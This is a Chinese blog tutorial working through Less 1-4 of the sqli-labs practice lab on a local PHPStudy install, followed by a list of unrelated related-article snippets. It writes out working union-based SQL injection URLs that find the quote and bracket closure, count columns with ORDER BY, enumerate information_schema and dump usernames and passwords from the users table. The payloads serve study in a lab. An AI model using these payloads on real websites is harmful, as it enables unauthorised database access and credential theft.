sqli-lab靶场学习(一)——Less1-4
前言
最近一段时间想切入安全领域,因为本身有做数据库运维工作,就打算从sql注入方向切入。而sql注入除了学习日常书本上的概念外,需要有个实践的环境,刚好看到sqli-lab这个靶场,就打算先用这个来学习。
安装部署
网上很多关于安装部署的教程,很简单。本人是下载PHPStudy进行部署的。由于sqli-lab是用php5版本,现在很多一体化环境(我用wamp)的php都是7版本。我试过用github上有人修改sqli-lab适配php7版本,但是不清楚为什么报错的时候不会回显,这严重影响调试,所以还是换成PHPStudy,并且切换为php5版本进行部署就好了。
Less1
进入页面测试
输入http://localhost/sqli-labs/Less-1/进入第一关,地址和读者的部署情况有关。我是直接把sqli-lab解压放到apache的www目录下。

第一关会要求我们输入一个id作为传参,我们尝试id=1的情况:

之后尝试id=2、id=3……一直到id=13,发现为空:

证明id=13不存在。
确定闭合方式
我们可以看一下php的源码,打开Less-1的index.php

可以看到红色框起来的部分,我们传入的id直接拼接到sql查询语句中。这给我们看到一个sql注入的漏洞,就是通过单引号闭合变量。例如我们传参的时候带入一个单引号, 然后通过 -- 或者 # 忽略后续的语句,就形成了sql注入。
如果我们看不到源码,怎么知道它是单引号闭合呢?漏洞都得测试出来,我们可以尝试添加单引号、括号、双引号等等方式去测试闭合情况。比如这里如果传入id=1':

因为多传了一个单引号,所以实际拼接的语句变成了:
SELECT * FROM users WHERE id='1'' LIMIT 0,1
这个语句多了个单引号,肯定报错了。
判断列数
接下来判断这个sql查询一共有多少列。输入:
http://localhost/sqli-labs/Less-1/?id=1' order by 1-- asd
这里通过单引号闭合,已经形成形成了注入。依次增加order by的数字,发现到order by 4的时候,出现报错:

证明sql语句显示的只有三列。
联合注入
判断了列数后,我们看看能否通过联合查询回显数据,输入:
http://localhost/sqli-labs/Less-1/?id=13' union select 1,2,3-- asd

可以看到第二、三列注入到“Your Login name”和“Your Password”的显示位置。我们输入id=13的原因在于之前判断了id=13是没有数据的,那回显的数据就会用union后面的数据了,如果输入id=1,那回显就是正常,而非我们想要注入的结果。这就是联合注入的关键!
查询具体的数据库名、表名、列名
联合注入成功后,其实离胜利已经很近了。接下来要把查询回显的列替换成查询数据库名、表名、列名。先查询数据库名:
http://localhost/sqli-labs/Less-1/?id=13' union select 1,database(),3-- asd

通过回显可以看到目前查询的表在名为security的库中。
接下来查询security库中有什么表,通过information_schema的tables表可以找出来:
http://localhost/sqli-labs/Less-1/?id=13' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- asd

使用group_concat可以把全部表名显示出来。不过有时候回显的位置可能有长度限制或者显示限制,这种方式有时候不准确,所以更实在的方式是利用limit一个一个查出来:
http://localhost/sqli-labs/Less-1/?id=13' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 3,1 -- asd

当我们从limit 0,1一直到limit 3,1时,发现users这个表很可能就是包含用户名密码的表,我们要把它的数据查出来。查出来的前提是知道列名,通过information_schema的columns可查出:
http://localhost/sqli-labs/Less-1/?id=13' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' -- asd

通过回显看到username和password似乎就是我们想要找的两列,我们把它们查出来:
http://localhost/sqli-labs/Less-1/?id=13' union select 1,group_concat(username),group_concat(password) from security.users -- asd

至此账号密码已经查出,sql注入成功!
Less2
第二关先看php源码:

‘可以看到源码是直接对获得的id进行拼接。所以第二关连单引号闭合都不需要了。根据第一关的经验,直接输入:
http://localhost/sqli-labs/Less-2/?id=13 union select 1,group_concat(username),group_concat(password) from security.users -- asd

Less3
第三关同样先看php源码:

发现这次的拼接是带了但括号,所以进行变量闭合时带上括号:
http://localhost/sqli-labs/Less-3/?id=13') union select 1,group_concat(username),group_concat(password) from security.users -- asd

Less4
同样的先看源码:

这次源码对id的前后加了双引号拼接,然后外面还有一层括号。这种情况我们就加个双引号和括号去闭合:
http://localhost/sqli-labs/Less-4/?id=13") union select 1,group_concat(username),group_concat(password) from security.users -- asd

小结
第一关是很简单的注入,不过其涉及到的内容很多,刚接触sql注入的朋友可能会有点懵。确实我刚开始也有点懵,因为一般做开发、做运维的朋友不会这样去写sql语句。当概念都了解了之后,就会觉得其实也就这么回事,Less-1没什么高大上的。另外注意这个靶场环境一定要搞好,否则很可能出现输入同样的查询,得出来不一样的结果,严重影响学习和理解效率。
这几关我们都是看了源码再操作。实际进行注入攻击当然不可能看到源码去注入,所以要尝试,最好能看到报错信息来确定。比如Less3我们用单引号闭合测试:
http://localhost/sqli-labs/Less-3/?id=1'

看到这个报错信息,这里面有单引号,也有括号,那就可以确认这题的闭合是和单引号、括号相关的。这类闭合方式来来去去就那几种情况,实际攻击的时候可以都试一下,再利用返回的报错信息确认是哪种情况
相关文章:
sqli-lab靶场学习(一)——Less1-4
前言 最近一段时间想切入安全领域,因为本身有做数据库运维工作,就打算从sql注入方向切入。而sql注入除了学习日常书本上的概念外,需要有个实践的环境,刚好看到sqli-lab这个靶场,就打算先用这个来学习。 安装部署 网上…...
el-select如何同时获取value和label?
在element ui 中 下拉框默认获取下拉框value的值,但是有时候根据 业务需求,我们需要label值也发送给后端,在这提供一下获取value、和label 的方式 1、在给el-option绑定:value值时使用对象的方式,将value和label同时绑定到:value…...
1.初识ChatGPT:AI聊天机器人的革命(1/10)
引言 在当今的数字化世界中,人工智能(AI)正以其独特的方式重塑我们的生活和工作。其中,AI聊天机器人作为人机交互的前沿技术,已经成为企业与客户沟通、提供个性化服务的重要工具。这些机器人通过模拟人类的对话方式&a…...
API安全 | 发现API的5个小tips
在安全测试目标时,最有趣的测试部分是它的 API。API 是动态的,它们比应用程序的其他部分更新得更频繁,并且负责许多后端繁重的工作。在现代应用程序中,我们通常会看到 REST API,但也会看到其他形式,例如 Gr…...
数据结构---单向链表
单向链表 //链表的创建 Link_t *create_link() {Link_t *plink malloc(sizeof(Link_t));if(NULL plink){perror("fail plink");return NULL;}plink->phead NULL;plink->clen 0;return plink; } //头插 int push_link_head(Link_t *plink, DataType data…...
基于STM32设计的ECG+PPG人体参数测量系统(华为云IOT)(217)
文章目录 一、前言1.1 项目介绍【1】开发背景【2】项目实现的功能【3】项目硬件模块组成1.2 设计思路【1】整体设计思路【2】整体构架【3】上位机开发思路【4】ESP8266工作模式配置1.3 项目开发背景【1】选题的意义【2】可行性分析【3】参考文献【4】摘要【5】项目背景1.4 开发…...
SpringBoot教程(十五) | SpringBoot集成RabbitMq(死信队列、延迟队列)
SpringBoot教程(十五) | SpringBoot集成RabbitMq(死信队列、延迟队列) (一)死信队列使用场景具体用法前提示例: (二)延迟队列使用场景方法一:通过死亡队列实现方法二&…...
Dubbo依赖包
Dubbo 是一个高性能的 RPC 框架,用于构建分布式服务治理系统。要使用 Dubbo,项目中需要引入一些关键的依赖包。这些依赖包提供了 Dubbo 的核心功能、服务注册与发现、网络通信、序列化等能力。 一、Dubbo 核心依赖包 Dubbo 的核心依赖包包含了实现 RPC…...
webGIS后端程序员学习路线
webGIS后端程序员学习路线 1. GIS 基础知识 学习要点: 学习资源: 2. 后端编程基础 学习要点: 学习资源: 3. 地理数据库(Spatial Database) 学习要点: 学习资源: 4. 空间数…...
OpenCV绘图函数(15)图像上绘制矩形函数 rectangle()的使用
操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 绘制一个简单的、粗的或填充的直立矩形。 这个函数 cv::rectangle 绘制一个矩形轮廓或一个填充的矩形,其两个相对的顶点分别是 pt1 和…...
从零开始,认识游戏设计师(4)体验源于设计师②
认真并仔细地揣摩你的想法 了解自己的感受并不是一件简单的事情,作为设计师,我觉得比了解玩家总体感觉的技能更重要的是你能清楚知道描述自己感受。 试想一下,你是否能准确描述你喜欢什么,你讨厌什么,以及为什么这样…...
周末总结(2024/09/07)
工作 人际关系核心实践: 要学会随时回应别人的善意,执行时间控制在5分钟以内 坚持每天早会打招呼 遇到接不住的话题时拉低自己,抬高别人(无阴阳气息) 朋友圈点赞控制在5min以内,职场社交不要放在5min以外 职场的人际关系在面对利…...
MySQL数据库的SQL注入漏洞解析
说明:本文仅是用于学习分析自己搭建的SQL漏洞内容和原理,请勿用在非法途径上,违者后果自负,与笔者无关;本文开始前请认真详细学习《中华人民共和国网络安全法》及其相关法规内容【学法时习之丨网络安全在身边一图了解网络安全法_中央网络安全和信息化委员会办公室】 …...
Redis进阶(七):分布式锁
在分布式系统下,涉及到多个节点访问同一个公共资源的情况,此时需要通过 锁 进行互斥控制:避免出现 线程安全问题。 1.分布式锁的基本实现 超卖问题: 解决: 采用redis实现分布式锁 可用采取:在购票的时候࿰…...
Python 中考虑 concurrent.futures 实现真正的并行计算
Python 中考虑 concurrent.futures 实现真正的并行计算 思考,如何将代码所要执行的计算任务划分成多个独立的部分并在各自的核心上面平行地运行。 Python 的全局解释器锁(global interpreter lock,GIL)导致没办法用线程来实现真…...
【C++多线程编程】 线程安全与对象生命周期管理
目录 类的线程安全 实现线程安全 构造函数在多线程中的安全性 析构函数多线程环境的安全 智能指针实现多线程安全 shared_ptr 非完全线程安全 shared_ptr可能导致对象生命周期延长 const引用可以减少传递shared_ptr开销 shared_ptr 智能指针块模块的优点 析构所在线程…...
【系统架构设计师-2024年-上半年】综合知识-答案及详解
更多内容请见: 备考系统架构设计师-核心总结索引 文章目录 【第1题】【第2题】【第3题】【第4题】【第5题】【第6题】【第7题】【第8题】【第9题】【第10题】【第11题】【第12题】【第13题】【第14题】【第15题】【第16~17题】【第18~19题】【第20~21题】【第22题】【第23题】…...
MATLAB 中的对数计算
在 MATLAB 中,计算对数是进行数学分析和科学计算的常见需求。对数运算在数据分析、信号处理和控制系统中都有广泛应用。本篇博客将详细介绍如何在 MATLAB 中进行对数计算,包括自然对数、常用对数以及任意底数的对数。 1. 自然对数(以 e 为底…...
详解 HTTPS 与 TLS证书链校验
一文详解 HTTPS 与 TLS证书链校验_证书链怎么验证-CSDN博客 深入浅出 SSL/CA 证书及其相关证书文件(pem、crt、cer、key、csr) https://zhuanlan.zhihu.com/p/702745054...
新手做短视频素材在哪里找?做短视频素材工具教程网站有哪些?
本文将为你提供一系列新手友好的视频制作资源,包括素材网站和编辑工具,帮助你快速成为短视频领域的新星。让我们从国内知名的蛙学网开始介绍。 蛙学网:新手的视频素材天堂 对于短视频新手而言,蛙学网绝对是一个宝库。该网站提供了…...
rknn优化教程(二)
文章目录 1. 前述2. 三方库的封装2.1 xrepo中的库2.2 xrepo之外的库2.2.1 opencv2.2.2 rknnrt2.2.3 spdlog 3. rknn_engine库 1. 前述 OK,开始写第二篇的内容了。这篇博客主要能写一下: 如何给一些三方库按照xmake方式进行封装,供调用如何按…...
如何为服务器生成TLS证书
TLS(Transport Layer Security)证书是确保网络通信安全的重要手段,它通过加密技术保护传输的数据不被窃听和篡改。在服务器上配置TLS证书,可以使用户通过HTTPS协议安全地访问您的网站。本文将详细介绍如何在服务器上生成一个TLS证…...
DBAPI如何优雅的获取单条数据
API如何优雅的获取单条数据 案例一 对于查询类API,查询的是单条数据,比如根据主键ID查询用户信息,sql如下: select id, name, age from user where id #{id}API默认返回的数据格式是多条的,如下: {&qu…...
工业自动化时代的精准装配革新:迁移科技3D视觉系统如何重塑机器人定位装配
AI3D视觉的工业赋能者 迁移科技成立于2017年,作为行业领先的3D工业相机及视觉系统供应商,累计完成数亿元融资。其核心技术覆盖硬件设计、算法优化及软件集成,通过稳定、易用、高回报的AI3D视觉系统,为汽车、新能源、金属制造等行…...
USB Over IP专用硬件的5个特点
USB over IP技术通过将USB协议数据封装在标准TCP/IP网络数据包中,从根本上改变了USB连接。这允许客户端通过局域网或广域网远程访问和控制物理连接到服务器的USB设备(如专用硬件设备),从而消除了直接物理连接的需要。USB over IP的…...
【SpringBoot自动化部署】
SpringBoot自动化部署方法 使用Jenkins进行持续集成与部署 Jenkins是最常用的自动化部署工具之一,能够实现代码拉取、构建、测试和部署的全流程自动化。 配置Jenkins任务时,需要添加Git仓库地址和凭证,设置构建触发器(如GitHub…...
消防一体化安全管控平台:构建消防“一张图”和APP统一管理
在城市的某个角落,一场突如其来的火灾打破了平静。熊熊烈火迅速蔓延,滚滚浓烟弥漫开来,周围群众的生命财产安全受到严重威胁。就在这千钧一发之际,消防救援队伍迅速行动,而豪越科技消防一体化安全管控平台构建的消防“…...
【WebSocket】SpringBoot项目中使用WebSocket
1. 导入坐标 如果springboot父工程没有加入websocket的起步依赖,添加它的坐标的时候需要带上版本号。 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-websocket</artifactId> </dep…...
OCR MLLM Evaluation
为什么需要评测体系?——背景与矛盾 能干的事: 看清楚发票、身份证上的字(准确率>90%),速度飞快(眨眼间完成)。干不了的事: 碰到复杂表格(合并单元…...
倒装芯片凸点成型工艺
UBM(Under Bump Metallization)与Bump(焊球)形成工艺流程。我们可以将整张流程图分为三大阶段来理解: 🔧 一、UBM(Under Bump Metallization)工艺流程(黄色区域ÿ…...
